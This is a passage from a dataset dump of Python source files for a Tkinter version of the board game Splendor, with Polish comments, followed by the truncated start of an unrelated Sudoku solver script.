zostanie kupiona jest zastępowana odpowiednią ze stosu\n\tdef draw_new_card(self, cardLevel, card):\n\t\tif cardLevel==FirstLevelCard:\n\t\t\tself.firstLev.pop(self.firstLev.index(card))\n\t\t\ttry:\n\t\t\t\ttmp = Glob.firstLevCards.pop()\n\t\t\t\ttmp.move(card.a[0]-tmp.a[0], card.a[1]-tmp.a[1])\n\t\t\t\tself.firstLev.insert(0, tmp)\n\t\t\texcept IndexError:\n\t\t\t\treturn\n\n\t\telif cardLevel==SecondLevelCard:\n\t\t\tself.secLev.pop(self.secLev.index(card))\n\t\t\ttry:\n\t\t\t\ttmp = Glob.secLevCards.pop()\n\t\t\t\ttmp.move(card.a[0]-tmp.a[0], card.a[1]-tmp.a[1])\n\t\t\t\tself.secLev.insert(0, tmp)\n\t\t\texcept IndexError:\n\t\t\t\treturn\n\n\t\telif cardLevel==ThirdLevelCard:\n\t\t\tself.thirdLev.pop(self.thirdLev.index(card))\n\t\t\ttry:\n\t\t\t\ttmp = Glob.thirdLevCards.pop()\n\t\t\t\ttmp.move(card.a[0]-tmp.a[0], card.a[1]-tmp.a[1])\n\t\t\t\tself.thirdLev.insert(0, tmp)\n\t\t\texcept IndexError:\n\t\t\t\treturn\n\n\t# zwracanie żetonu do puli\n\tdef return_token(self, token):\n\t\ttry:\n\t\t\ttoken.move(Glob.tokens[self.get_index(token.bonus)].a[0] - token.a[0], \\\n\t\t\t\tGlob.tokens[self.get_index(token.bonus)].a[1] - token.a[1] + 10)\n\t\texcept TypeError:\n\t\t\ttoken.move(Glob.tokensPos[token.bonus][0] - token.a[0], Glob.tokensPos[token.bonus][1] - token.a[1] + 10)\n\n\t# pobranie indeksu żetonu z puli, aby wiedzieć gdzie odłozyć żeton\n\t@staticmethod\n\tdef get_index(stone):\n\t\tfor token in Glob.tokens:\n\t\t\tif token.bonus==stone:\n\t\t\t\treturn Glob.tokens.index(token)\n\n\t# sprawdza czy koniec rozgrywki\n\tdef is_end(self):\n\t\tif(self.actualPlayer.state.vp>=15):\n\t\t\ttkMessageBox.showinfo(\"Koniec!\", \"Wygrał gracz #\"+str(self.actualPlayer.id)+\"!\")\n\t\t\tGlob.canvas.unbind(\"<Button-1>\")\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\t# funkcja zmiany gracza\n\tdef change_player(self):\n\t\tGlob.game.nextTurn.config(state='disabled')\n\t\t\n\t\tfor token in self.actualPlayer.tokens:\n\t\t\tGlob.canvas.itemconfig(token.tag, state='hidden')\n\t\tfor card in self.actualPlayer.cards:\n\t\t\tGlob.canvas.itemconfig(card.tag, state='hidden')\n\n\t\tself.actualPlayer.tokenCount = 0\n\t\tself.actualPlayer.gotToken = False\n\t\tself.actualPlayer.gotCard = False\n\t\tself.actualPlayer.tmpTokens = copy.deepcopy(Glob.stones)\n\n\t\tself.actualPlayer = self.playerIter.next()\n\n\t\tfor token in self.actualPlayer.tokens:\n\t\t\tGlob.canvas.itemconfig(token.tag, state='normal')\n\t\tfor card in self.actualPlayer.cards:\n\t\t\tGlob.canvas.itemconfig(card.tag, state='normal')\n\n\t\tGlob.canvas.delete(self.textId)\n\t\tself.textId = Glob.canvas.create_text(Glob.WINDOW_X-5, 15, anchor='e', text='Player #'+str(self.actualPlayer.id))\n\n\t\tself.actualPlayer.state.update_state()\n\n\t# funkcja iterująca po graczach w tablicy self.players\n\tdef player_iterator(self, start):\n\t\tidx = start\n\t\twhile True:\n\t\t\tidx += 1\n\t\t\tidx = idx % len(self.players)\n\t\t\tyield self.players[idx]" }, { "alpha_fraction": 0.5548439025878906, "alphanum_fraction": 0.6124899983406067, "avg_line_length": 35.764705657958984, "blob_id": "1fe0ed427e3bab6f1180ae463026e402a14e66c8", "content_id": "b7e9f8feeb334f92d931d3bb26d2e9264360453e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1249, "license_type": "no_license", "max_line_length": 114, "num_lines": 34, "path": "/Globals.py", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom Tkinter import *\nimport tkFont\n\nclass Glob(object):\n\tWINDOW_X = 1024\n\tWINDOW_Y = 700\n\tSIZE_X = 80\n\tSIZE_Y = 120\n\tTOKEN_DIAMETER = 50\n\troot = Tk()\n\tcanvas = Canvas(root, width=WINDOW_X, height=WINDOW_Y)\n\tmyFont = tkFont.Font(family=\"sans-serif\", size=12)\n\tvpFont = tkFont.Font(family=\"sans-serif\", size=12, weight='bold')\n\tfirstLevCards = []\n\tsecLevCards = []\n\tthirdLevCards = []\n\ttokens = []\n\tgame = 0\n\ttokensPos = {'red': [50, 500], 'green': [120, 500], 'blue': [190, 500], 'white': [260, 500], 'black': [330, 500]}\n\tstones = {'red': 0, 'green': 0, 'blue': 0, 'white': 0, 'black': 0}\n\tstonesNames = ['red', 'green', 'blue', 'white', 'black']\n\tstoneToColor = {'red': '#ff3333', 'green': '#99ff33', 'blue': '#3333ff', 'white': '#ccffcc', 'black': '#000033'}\n\tstoneToImage = {'red': PhotoImage(file='./images/ruby.ppm'),\n\t\t\t\t\t'green': PhotoImage(file='./images/emerald.ppm'),\n\t\t\t\t\t'blue': PhotoImage(file='./images/sapphire.ppm'),\n\t\t\t\t\t'white': PhotoImage(file='./images/diamond.ppm'),\n\t\t\t\t\t'black': PhotoImage(file='./images/onyx.ppm')\n\t\t\t\t\t}\n\tcardReverse = {'first': PhotoImage(file='./images/first.ppm'),\n\t\t\t\t\t'second': PhotoImage(file='./images/second.ppm'),\n\t\t\t\t\t'third': PhotoImage(file='./images/third.ppm')\n\t\t\t\t\t}" }, { "alpha_fraction": 0.6240457892417908, "alphanum_fraction": 0.642175555229187, "avg_line_length": 29.794116973876953, "blob_id": "742cb9e2f66547686f61d917b7364b4ae5613d49", "content_id": "2029963efef9fc25d921e884241f7137bcc38f90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1048, "license_type": "no_license", "max_line_length": 129, "num_lines": 34, "path": "/Token.py", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom Globals import *\n\nclass Token(object):\n\tpos = [50, 500]\n\tdef __init__(self, x, y, bonus):\n\t\tself.a = x, y\n\t\tself.b = x+Glob.TOKEN_DIAMETER, y+Glob.TOKEN_DIAMETER\n\t\tself.bonus = bonus\n\t\tself.image = Glob.stoneToImage[self.bonus]\n\n\t\tself.ov = Glob.canvas.create_oval(self.a, self.b, fill='white')\n\t\tself.tag = str(self.ov) + 't'\n\t\tGlob.canvas.itemconfig(self.ov, tags=self.tag)\n\t\tGlob.canvas.create_image(self.a[0]+(Glob.TOKEN_DIAMETER/2), self.a[1]+(Glob.TOKEN_DIAMETER/2), tags=self.tag, image=self.image)\n\t\tGlob.canvas.pack()\n\n\t\tGlob.tokens.insert(0, self)\n\n\tdef __setitem__(self, x, y):\n\t\tself.a = x, y\n\t\tself.b = x+Glob.SIZE_X, y+Glob.SIZE_Y\n\n\tdef move(self, x, y):\n\t\tif (self.a[0]+x)<0 or (self.a[0]+x)>Glob.WINDOW_X-Glob.TOKEN_DIAMETER or \\\n\t\t\t(self.a[1]+y)<0 or (self.a[1]+y)>Glob.WINDOW_Y-Glob.TOKEN_DIAMETER:\n\t\t\traise ValueError()\n\t\tif not( type(x)==int or type(y)==int ):\n\t\t\traise TypeError()\n\n\t\tself.__setitem__(self.a[0]+x, self.a[1]+y)\n\t\tGlob.canvas.move(self.tag, x, y)\n\t\tGlob.canvas.tag_raise(self.tag)\t\t" }, { "alpha_fraction": 0.6933255791664124, "alphanum_fraction": 0.70830899477005, "avg_line_length": 31.327043533325195, "blob_id": "a6b021a2bf299a3cf4aca5e2c3526f2e16d3c85d", "content_id": "63a4653b7b12fe32d922e6cc8fb4ce8811dc7212", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5194, "license_type": "no_license", "max_line_length": 114, "num_lines": 159, "path": "/Player.py", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom Globals import *\n\nimport copy\n\nclass State(object):\n\tdef __init__(self):\n\t\tself.vp = 0;\n\t\tself.money = copy.deepcopy(Glob.stones)\n\t\tself.tag = 'state'\n\n\t# drukowanie punktów zwycięstwa i posiadanych bonusów(kamieni)\n\tdef print_state(self):\n\t\tGlob.canvas.create_text(Glob.WINDOW_X-5, 35, anchor='e', text='VP: '+str(self.vp), tags=self.tag)\n\t\ti = 55\n\t\tfor stone in self.money:\n\t\t\tGlob.canvas.create_image(Glob.WINDOW_X-5, i, anchor='e', image=Glob.stoneToImage[stone], tags=self.tag)\n\t\t\tGlob.canvas.create_text(Glob.WINDOW_X-30, i, anchor='e', text=str(self.money[stone]), tags=self.tag)\n\t\t\ti += 25\n\n\t# aktualiacja danych\n\tdef update_state(self):\n\t\tGlob.canvas.delete(self.tag)\n\t\tself.print_state()\n\nclass Player(object):\n\tcount = 0\n\n\tdef __init__(self):\n\t\tPlayer.count += 1\n\t\tself.id = self.count\n\t\tself.tokenCount = 0\n\t\tself.gotToken = False\n\t\tself.gotCard = False\n\t\tself.tmpTokens = copy.deepcopy(Glob.stones)\n\t\tself.state = State()\n\t\tself.tokens = []\n\t\tself.cards = []\n\t\tself.tokensBon = copy.deepcopy(Glob.stones)\n\t\tself.cardsBon = copy.deepcopy(Glob.stones)\n\t\tself.tokensPos = copy.deepcopy(Glob.stones)\n\t\tself.cardsPos = copy.deepcopy(Glob.stones)\n\t\tself.set_cards_and_tokens_pos()\n\t\tself.state.print_state()\n\t\n\t# ustawienie pozycji dla kart w polu gracza\n\tdef set_cards_and_tokens_pos(self):\n\t\txC = 530\n\t\tyC = 100\n\t\txT = 550\n\t\tyT = 450\n\t\tfor pos in self.cardsPos:\n\t\t\tself.cardsPos[pos] = [xC, yC]\n\t\t\tself.tokensPos[pos] = [xT, yT]\n\t\t\txC+=90\n\t\t\txT+=65\n\n\t# zabieranie żetonu:\n\t# można zabrać trzy różne lub dwa tego samego rodzaju\n\tdef get_token(self, token):\n\t\tif self.gotCard:\n\t\t\treturn\n\t\telif self.tokenCount>=3 or (2 in self.tmpTokens.values()):\n\t\t\treturn\n\t\telif self.tmpTokens[token.bonus]==1:\n\t\t\tif self.can_buy_second_token(token):\n\t\t\t\tself.move_token_and_update(token)\n\t\t\telse:\n\t\t\t\treturn\n\t\telif self.tokenCount==2 and self.tmpTokens[token.bonus]==1:\n\t\t\treturn\n\t\telse:\n\t\t\tself.move_token_and_update(token)\n\n\t\tself.state.update_state()\n\t\tif self.tokenCount==3 or (2 in self.tmpTokens.values()):\n\t\t\tGlob.game.nextTurn.config(state='normal') # tura wstrzymywana aby gracz mógł zobaczyć co posiada\n\n\t# funkcja która przenosi znacznik i aktualizuje właściwości gracza\n\tdef move_token_and_update(self, token):\n\t\tself.gotToken = True\n\t\tself.state.money[token.bonus]+=1\n\t\tself.tokensBon[token.bonus]+=1\n\t\ttoken.move(self.tokensPos[token.bonus][0]-token.a[0], self.tokensPos[token.bonus][1]-token.a[1])\n\t\tself.tokenCount+=1\n\t\tself.tmpTokens[token.bonus]+=1\n\t\tself.tokensPos[token.bonus][1]+=10\n\t\tGlob.tokensPos[token.bonus][1]-=10\n\t\tself.tokens.insert(0, Glob.tokens.pop(Glob.tokens.index(token)))\n\n\t# jeśli gracz ma jeden żeton to może kupić żeton tego samego rodzaju\n\tdef can_buy_second_token(self, token):\n\t\ttmpValues = self.tmpTokens.values()\n\t\tif tmpValues.count(1)==1 and self.tmpTokens.get(token.bonus)==1:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\t# kupowanie karty:\n\t# sprawdzamy czy nie wzięto już żetonu, jeśli tak to return\n\t# sprawdzamy czy można kupić kartę(can_buy_card())\n\t# \tzwracamy tokeny\n\t# \tprzesuwamy karte i dajemy ją graczowi\n\tdef buy_card(self, card):\n\t\tif self.gotToken or self.gotCard:\n\t\t\treturn\n\n\t\tif self.can_buy_card(card):\n\t\t\tself.return_tokens_after_buy(card)\n\t\t\tself.move_card_and_update(card)\n\t\telse:\n\t\t\treturn\n\n\t\tself.state.update_state()\n\t\tif Glob.game.is_end():\n\t\t\treturn\n\t\tGlob.game.nextTurn.config(state='normal')\n\n\t# funkcja która przenosi zakupioną kartę i aktualizuje właściwości gracza\n\tdef move_card_and_update(self, card):\n\t\tself.state.money[card.bonus]+=1\n\t\tself.cardsBon[card.bonus]+=1\n\t\tself.state.vp += 0 if card.vp=='' else int(card.vp)\n\t\tself.gotCard = True\n\n\t\tGlob.game.draw_new_card(type(card), card)\t\t\t\n\t\tcard.move(self.cardsPos[card.bonus][0]-card.a[0], self.cardsPos[card.bonus][1]-card.a[1])\n\t\tself.cards.append(card)\n\t\tself.cardsPos[card.bonus][1]+=23\n\n\t# czy można kupić kartę - czy koszt karty jest mniejszy od posiadanych funduszy\n\tdef can_buy_card(self, card):\n\t\tfor stone in card.cost:\n\t\t\tif self.state.money[stone]<card.cost[stone]:\n\t\t\t\treturn False\n\t\treturn True\n\n\t# zwracanie żetonów po zakupie: uaktualnianie funduszy, pozycji żetonów\n\tdef return_tokens_after_buy(self, card):\n\t\ttmpCost = copy.deepcopy(Glob.stones)\n\t\tfor stone in tmpCost:\n\t\t\tif card.cost[stone]>0:\n\t\t\t\ttmpCost[stone] = card.cost[stone] - self.cardsBon[stone] # odejmowanie bonusów, czyli ile trzeba wydać żetonów\n\t\t\t\ttmpCost[stone] = tmpCost[stone] if tmpCost[stone]>=0 else 0 # jeśli wynik byłby ujemny ustawiam 0\n\t\t\t\tself.tokensBon[stone] -= tmpCost[stone] # odejmuje pozostały koszt od posiadanych żetonów\n\t\t\t\tself.state.money[stone] -= tmpCost[stone] # odejmuje również od ogólnie posiadanych\n\t\t\t\tfor i in range(tmpCost[stone]):\n\t\t\t\t\ttmpToken = self.find_appr_token_here(stone)\n\t\t\t\t\tself.tokensPos[stone][1]-=10\n\t\t\t\t\tGlob.tokensPos[stone][1]+=10\n\t\t\t\t\tGlob.game.return_token(tmpToken)\n\t\t\t\t\tGlob.tokens.insert(0, self.tokens.pop(self.tokens.index(tmpToken)))\n\n\t# znajdowanie odpowiedniego żetonu po nazwie(pierwszego w self.tokens czyli tego którego szukamy)\n\tdef find_appr_token_here(self, stone):\n\t\tfor token in self.tokens:\n\t\t\tif token.bonus==stone:\n\t\t\t\treturn token" }, { "alpha_fraction": 0.7753424644470215, "alphanum_fraction": 0.7863013744354248, "avg_line_length": 35.599998474121094, "blob_id": "9170656d053811e754ebb032a417469f70bce727", "content_id": "41a4f0892939d9fcc83b0dcfc034bfa036cad013", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 388, "license_type": "no_license", "max_line_length": 108, "num_lines": 10, "path": "/README.md", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# Splendor\n\nZasady gry:\nCelem gry jest zgromadzenie 15 punktów zwycięstwa (lewy góry róg karty).\nW swoim ruchu gracz może:\n\t- dobrać 2 takie same żetony\n\t- dobrać 3 różne żetony\n\t- kupić kartę\nZa kupno karty płacimy określony koszt (lista na środku karty).\nNa nasze fundusze składają się zarówno posiadane żetony jak i bonus posiadanych kart(prawy górny róg karty)." }, { "alpha_fraction": 0.6325259804725647, "alphanum_fraction": 0.6823529601097107, "avg_line_length": 24.35087776184082, "blob_id": "df4a5414175d71b5ac554022d80a03878c98ee21", "content_id": "88794a18e2d07d90228bf8d67069592f8a62ce53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1445, "license_type": "no_license", "max_line_length": 112, "num_lines": 57, "path": "/main.py", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom Tkinter import *\nfrom Globals import Glob\nfrom Game import *\nfrom Card import *\nfrom Token import *\n\ndef B1_click(event):\n\t\tfor card in Glob.game.__getitem__():\n\t\t\tif card.a[0]<=event.x<=card.b[0] and card.a[1]<=event.y<=card.b[1]:\n\t\t\t\tGlob.game.actualPlayer.buy_card(card)\n\t\t\t\treturn\n\n\t\tfor token in Glob.tokens:\n\t\t\tif token.a[0]<=event.x<=token.b[0] and token.a[1]<=event.y<=token.b[1]:\n\t\t\t\tGlob.game.actualPlayer.get_token(token)\n\t\t\t\treturn\n\n\n### glowny program\nGlob.root.resizable(0,0)\nGlob.root.title(\"Splendor\")\nGlob.canvas.pack()\nGlob.canvas.bind(\"<Button-1>\", B1_click)\n\nfor i in range(40):\n\tFirstLevelCard(40,350)\n\nfor i in reversed(range(3)):\n\tGlob.canvas.create_image(41-(i*4)+(Glob.SIZE_X/2), 351-(i*4)+(Glob.SIZE_Y/2), image=Glob.cardReverse['first'])\n\nfor i in range(30):\n\tSecondLevelCard(40,200)\n\nfor i in reversed(range(3)):\n\tGlob.canvas.create_image(41-(i*4)+(Glob.SIZE_X/2), 201-(i*4)+(Glob.SIZE_Y/2), image=Glob.cardReverse['second'])\n\nfor i in range(20):\n\tThirdLevelCard(40,50)\n\nfor i in reversed(range(3)):\n\tGlob.canvas.create_image(41-(i*4)+(Glob.SIZE_X/2), 51-(i*4)+(Glob.SIZE_Y/2), image=Glob.cardReverse['third'])\n\n\ntmpStones = Glob.stonesNames*5\nfor stone in tmpStones:\n\tGlob.tokensPos[stone][1]+=10\n\tToken(Glob.tokensPos[stone][0], Glob.tokensPos[stone][1], stone)\nfor pos in Glob.tokensPos:\n\tGlob.tokensPos[pos][1] -= 10\n\n\nGlob.game = Game()\nGlob.game.deal_cards()\n\nGlob.root.mainloop()\n" }, { "alpha_fraction": 0.6381118893623352, "alphanum_fraction": 0.6616161465644836, "avg_line_length": 30.2060604095459, "blob_id": "951a36ba7ce92f5f7ae68edb04412afb397a2b85", "content_id": "935b0473a8f249f3e91ac1be320bfbcb12bcb73d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5153, "license_type": "no_license", "max_line_length": 129, "num_lines": 165, "path": "/Card.py", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom Tkinter import *\nfrom Globals import Glob\n\nimport random\nimport copy\n\n\nclass Card(object):\n\tdef __init__(self, x, y):\n\t\tif x<0 or x>Glob.WINDOW_X-Glob.SIZE_X or y<0 or y>Glob.WINDOW_Y-Glob.SIZE_Y:\n\t\t\traise ValueError(\"Podane współrzędne leżą poza oknem aplikacji.\")\n\t\tif not( type(x)==int or type(y)==int ):\n\t\t\traise TypeError()\n\n\t\tself.a = x, y\n\t\tself.b = x+Glob.SIZE_X, y+Glob.SIZE_Y\n\t\tself.color = 'white'\n\t\tself.rect = Glob.canvas.create_rectangle(self.a, self.b, fill=self.color)\n\t\tself.tag = str(self.rect) + 't'\n\t\tGlob.canvas.itemconfig(self.rect, tags=self.tag)\n\t\tGlob.canvas.create_line(self.a[0], self.a[1]+23, self.b[0], self.a[1]+23, tags=self.tag)\n\n\tdef __setitem__(self, x, y):\n\t\tself.a = x, y\n\t\tself.b = x+Glob.SIZE_X, y+Glob.SIZE_Y\n\n\tdef get_cords(self):\n\t\treturn self.a, self.b\n\n\tdef move(self, x, y):\n\t\tif (self.a[0]+x)<0 or (self.a[0]+x)>Glob.WINDOW_X-Glob.SIZE_X or (self.a[1]+y)<0 or (self.a[1]+y)>Glob.WINDOW_Y-Glob.SIZE_Y:\n\t\t\traise ValueError()\n\t\tif not( type(x)==int or type(y)==int ):\n\t\t\traise TypeError()\n\n\t\tself.__setitem__(self.a[0]+x, self.a[1]+y)\n\t\tGlob.canvas.move(self.tag, x, y)\n\t\tGlob.canvas.tag_raise(self.tag)\n\n\nclass FirstLevelCard(Card):\n\tbonuses = Glob.stonesNames*8\n\trandom.shuffle(bonuses)\n\n\t@classmethod\n\tdef gen_attrs(cls):\n\t\tvp = random.randint(0, 1)\n\n\t\tbonus = cls.bonuses.pop()\n\n\t\tcost = copy.deepcopy(Glob.stones)\n\t\ttmpStones = copy.deepcopy(Glob.stonesNames)\n\t\trandom.shuffle(tmpStones)\n\t\tnumOfStones = random.randint(2, 4)\n\t\tfor j in range(numOfStones):\n\t\t\t\tcost[tmpStones.pop()] = random.randint(1,3)\n\n\t\treturn {'vp': vp, 'bonus': bonus, 'cost': cost}\n\n\tdef __init__(self, x, y):\n\t\ttmpAttr = self.gen_attrs()\n\t\tself.vp = tmpAttr['vp'] if tmpAttr['vp'] else \"\"\n\t\tself.bonus = tmpAttr['bonus']\n\t\tself.cost = tmpAttr['cost']\n\t\tself.image = Glob.stoneToImage[self.bonus]\n\t\tsuper(FirstLevelCard, self).__init__(x, y)\n\n\t\tGlob.canvas.create_text(self.a[0]+5, self.a[1]+12, text=self.vp, tags=self.tag, anchor='w', font=Glob.vpFont)\n\t\tGlob.canvas.create_image(self.b[0]-5, self.a[1]+12, image=self.image, tags=self.tag, anchor='e')\n\t\ti = 10\n\t\tfor x in self.cost:\n\t\t\ttmp=self.cost.get(x)\n\t\t\tif tmp==0:\n\t\t\t\tcontinue\n\t\t\tGlob.canvas.create_image(self.b[0]-(Glob.SIZE_X/2)+25, self.b[1]-i, image=Glob.stoneToImage.get(x), tags=self.tag, anchor='e')\n\t\t\tGlob.canvas.create_text(self.b[0]-(Glob.SIZE_X/2)-5, self.b[1]-i, text=str(tmp), tags=self.tag, anchor='e', font=(12))\n\t\t\ti+=23\n\n\t\tGlob.canvas.pack()\n\t\tGlob.firstLevCards.insert(0, self)\n\nclass SecondLevelCard(Card):\n\tbonuses = (copy.deepcopy(Glob.stonesNames))*6\n\trandom.shuffle(bonuses)\n\n\t@classmethod\n\tdef gen_attrs(cls):\n\t\tvp = random.randint(1, 3)\n\n\t\tbonus = cls.bonuses.pop()\n\n\t\tcost = copy.deepcopy(Glob.stones)\n\t\ttmpStones = copy.deepcopy(Glob.stonesNames)\n\t\trandom.shuffle(tmpStones)\n\t\tnumOfStones = random.randint(2, 4)\n\t\tfor j in range(numOfStones):\n\t\t\t\tcost[tmpStones.pop()] = random.randint(3,5)\n\n\t\treturn {'vp': vp, 'bonus': bonus, 'cost': cost}\n\n\tdef __init__(self, x, y):\n\t\ttmpAttr = self.gen_attrs()\n\t\tself.vp = tmpAttr['vp']\n\t\tself.bonus = tmpAttr['bonus']\n\t\tself.cost = tmpAttr['cost']\n\t\tself.image = Glob.stoneToImage[self.bonus]\n\t\tsuper(SecondLevelCard, self).__init__(x, y)\n\n\t\tGlob.canvas.create_text(self.a[0]+5, self.a[1]+12, text=self.vp, tags=self.tag, anchor='w', font=Glob.vpFont)\n\t\tGlob.canvas.create_image(self.b[0]-5, self.a[1]+12, image=self.image, tags=self.tag, anchor='e')\n\t\ti = 10\n\t\tfor x in self.cost:\n\t\t\ttmp=self.cost.get(x)\n\t\t\tif tmp==0:\n\t\t\t\tcontinue\n\t\t\tGlob.canvas.create_image(self.b[0]-(Glob.SIZE_X/2)+25, self.b[1]-i, image=Glob.stoneToImage.get(x), tags=self.tag, anchor='e')\n\t\t\tGlob.canvas.create_text(self.b[0]-(Glob.SIZE_X/2)-5, self.b[1]-i, text=str(tmp), tags=self.tag, anchor='e', font=(12))\n\t\t\ti+=23\n\n\t\tGlob.canvas.pack()\n\t\tGlob.secLevCards.insert(0, self)\n\nclass ThirdLevelCard(Card):\n\tbonuses = (copy.deepcopy(Glob.stonesNames))*4\n\trandom.shuffle(bonuses)\n\n\t@classmethod\n\tdef gen_attrs(cls):\n\t\tvp = random.randint(3, 5)\n\n\t\tbonus = cls.bonuses.pop()\n\n\t\tcost = copy.deepcopy(Glob.stones)\n\t\ttmpStones = copy.deepcopy(Glob.stonesNames)\n\t\trandom.shuffle(tmpStones)\n\t\tnumOfStones = random.randint(2, 4)\n\t\tfor j in range(numOfStones):\n\t\t\t\tcost[tmpStones.pop()] = random.randint(3,7)\n\n\t\treturn {'vp': vp, 'bonus': bonus, 'cost': cost}\n\n\tdef __init__(self, x, y):\n\t\ttmpAttr = self.gen_attrs()\n\t\tself.vp = tmpAttr['vp']\n\t\tself.bonus = tmpAttr['bonus']\n\t\tself.cost = tmpAttr['cost']\n\t\tself.image = Glob.stoneToImage[self.bonus]\n\t\tsuper(ThirdLevelCard, self).__init__(x, y)\n\n\t\tGlob.canvas.create_text(self.a[0]+5, self.a[1]+12, text=self.vp, tags=self.tag, anchor='w', font=Glob.vpFont)\n\t\tGlob.canvas.create_image(self.b[0]-5, self.a[1]+12, image=self.image, tags=self.tag, anchor='e')\n\n\t\ti = 10\n\t\tfor x in self.cost:\n\t\t\ttmp=self.cost.get(x)\n\t\t\tif tmp==0:\n\t\t\t\tcontinue\n\t\t\tGlob.canvas.create_image(self.b[0]-(Glob.SIZE_X/2)+25, self.b[1]-i, image=Glob.stoneToImage.get(x), tags=self.tag, anchor='e')\n\t\t\tGlob.canvas.create_text(self.b[0]-(Glob.SIZE_X/2)-5, self.b[1]-i, text=str(tmp), tags=self.tag, anchor='e', font=(12))\n\t\t\ti+=23\n\n\t\tGlob.canvas.pack()\n\t\tGlob.thirdLevCards.insert(0, self)" } ]
7
raysmith619/sudoku
https://github.com/raysmith619/sudoku
68c9204a3be368809dcbe767bcf9efd1e4538e2f
15c79f6923bbd5518f4eba0f480b5ec14f0f4d68
684359bb648847bd6f09e75826bc2c81792c6d95
refs/heads/master
2020-12-04T04:40:06.444184
2020-01-21T16:19:01
2020-01-21T16:19:01
231,616,051
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.625266969203949, "alphanum_fraction": 0.6290884613990784, "avg_line_length": 37.344825744628906, "blob_id": "49dd973a007e262764d0000d2245b7702cdb4f49", "content_id": "02b0951bf5ab465e84b8b0af2e0317b01446032d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8897, "license_type": "no_license", "max_line_length": 131, "num_lines": 232, "path": "/src/sudoku.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoko.py\n\"\"\"\nThis is a program to solve, and someday create, Sudoku puzzles\nIt was adapted from the Perl program sudoku.pl\nTo ease the adaption process the original variable, function and file names, where possible, have been preserved.\nThe Trace.pm module use has been replaced by the select_trace.py module.\n\"\"\" \n\n\n##############\n## External ##\n##############\nfrom math import *\nimport datetime\nimport traceback\nimport time\nimport os\nimport argparse\nimport re\nfrom tkinter import *\n\n\n\n\n###############\n## Libraries ##\n###############\nfrom select_trace import SlTrace\nfrom select_error import SelectError\nbase_name = os.path.splitext(os.path.basename(sys.argv[0]))[0]\nSlTrace.setLogName(base_name)\nSlTrace.lg(f\"{base_name} {' '.join(sys.argv[1:])}\")\n\nfrom select_window import SelectWindow\nfrom select_control import SelectControl\nfrom variable_control_window import VariableControlWindow\nfrom trace_control import TraceControl\nfrom tkMath import tkMath\n\nfrom sudoku_subs import *\nimport sudoku_globals as gb\ngb.initialize_globals()\n##################\n## User-defined ##\n##################\n# Set up main board\ndef prime_exit():\n SlTrace.lg(\"Prime Exit\")\n gb.running = False\n pgm_exit()\n \nmw = gb.Display_mw = Tk() # To support grid layout - MUST be done before wm\nmw.title(\"Sudoku Playing\")\nmw.protocol(\"WM_DELETE_WINDOW\", prime_exit)\ntkMath.setup(mw)\ncF = SelectControl(control_prefix=\"run_control\", update_report=update_report)\ncF.make_label(\"Puzzle Dimensions\")\ngb.nCol = cF.make_val(\"nCol\", 9)\ngb.nSubCol =cF.make_val(\"nSubCol\", 3)\ngb.nRow = cF.make_val(\"nRow\", 9)\ngb.nSubRow = cF.make_val(\"nSubRow\", 3)\n\ncF.make_label(\"\")\ncF.make_label(\"Puzzle Size\")\ngb.bSize = cF.make_val(\"bSize\", 3) # Main Bd size inches\ngb.sSize = cF.make_val(\"sSize\", 2) # Solution Bd size\ngb.nFirst = cF.make_val(\"nFirst\", 5) # first n solutions\ngb.makePuzzle = cF.make_val(\"makePuzzle\", False) # If defined, generate puzzle with this many cells filled\ngb.makePuzzleSym = cF.make_val(\"PuzzleSym\", \"c\") # Puzzle symetry pref for initial settings\n # x, y, center, n - none\ngb.traceList = cF.make_val(\"traceList\", \"\")\ngb.UsePuzzle = cF.make_val(\"UsePuzzle\", False)\ngb.xPer = cF.make_val(\"xPer\", False) # experimental\n\ncF.make_label(\"\")\ncF.make_label(\"Running Control\")\ngb.run_after_load = cF.make_val(\"run_after_load\", False)\n # Progress display variables\ncF.make_label(\"Display Time\")\ngb.Display_time = cF.make_val(\"Display_time\", .5) # Display time, None - no display\n # 0 - wait for continue\n # > 0 delay (sec)\ngb.update_time = cF.make_val(\"update_time\", 10.)\ngb.Display_board = None\ngb.Display_prev_time = 0 # Previous display time \n##################\n## Main program ##\n##################\nparser = argparse.ArgumentParser()\n\n###parser.add_argument('--closed_tours', type=str2bool, dest='closed_tours', default=closed_tours)\n###parser.add_argument('--display_complete', type=str2bool, dest='display_complete', default=display_complete)\n###parser.add_argument('--display_path_board', type=str2bool, dest='display_path_board', default=display_path_board)\n###parser.add_argument('--max_look_ahead=', type=int, dest='max_look_ahead', default=max_look_ahead)\n\nparser.add_argument('--cols', type=int, dest='nCol', default=gb.nCol) # Number of cell col\nparser.add_argument('--bSize', type=float, dest='bSize', default=gb.bSize) # Board size in inches\nparser.add_argument('--displayTime', type=float, dest='Display_time', default=gb.Display_time) # Solution step display time (sec)\n # 0 - till user ACK, None - none\nparser.add_argument('--first', type=int, dest='nFirst', default=gb.nFirst) # first(atleast) solutions\nparser.add_argument('--gcols', type=int, dest='nSubCol', default=gb.nSubCol) # Number of cell col in group\nparser.add_argument('--grows=', type=int, dest='nSubRow', default=gb.nSubRow) # Number of cell row in group\nparser.add_argument('--makePuzzle', 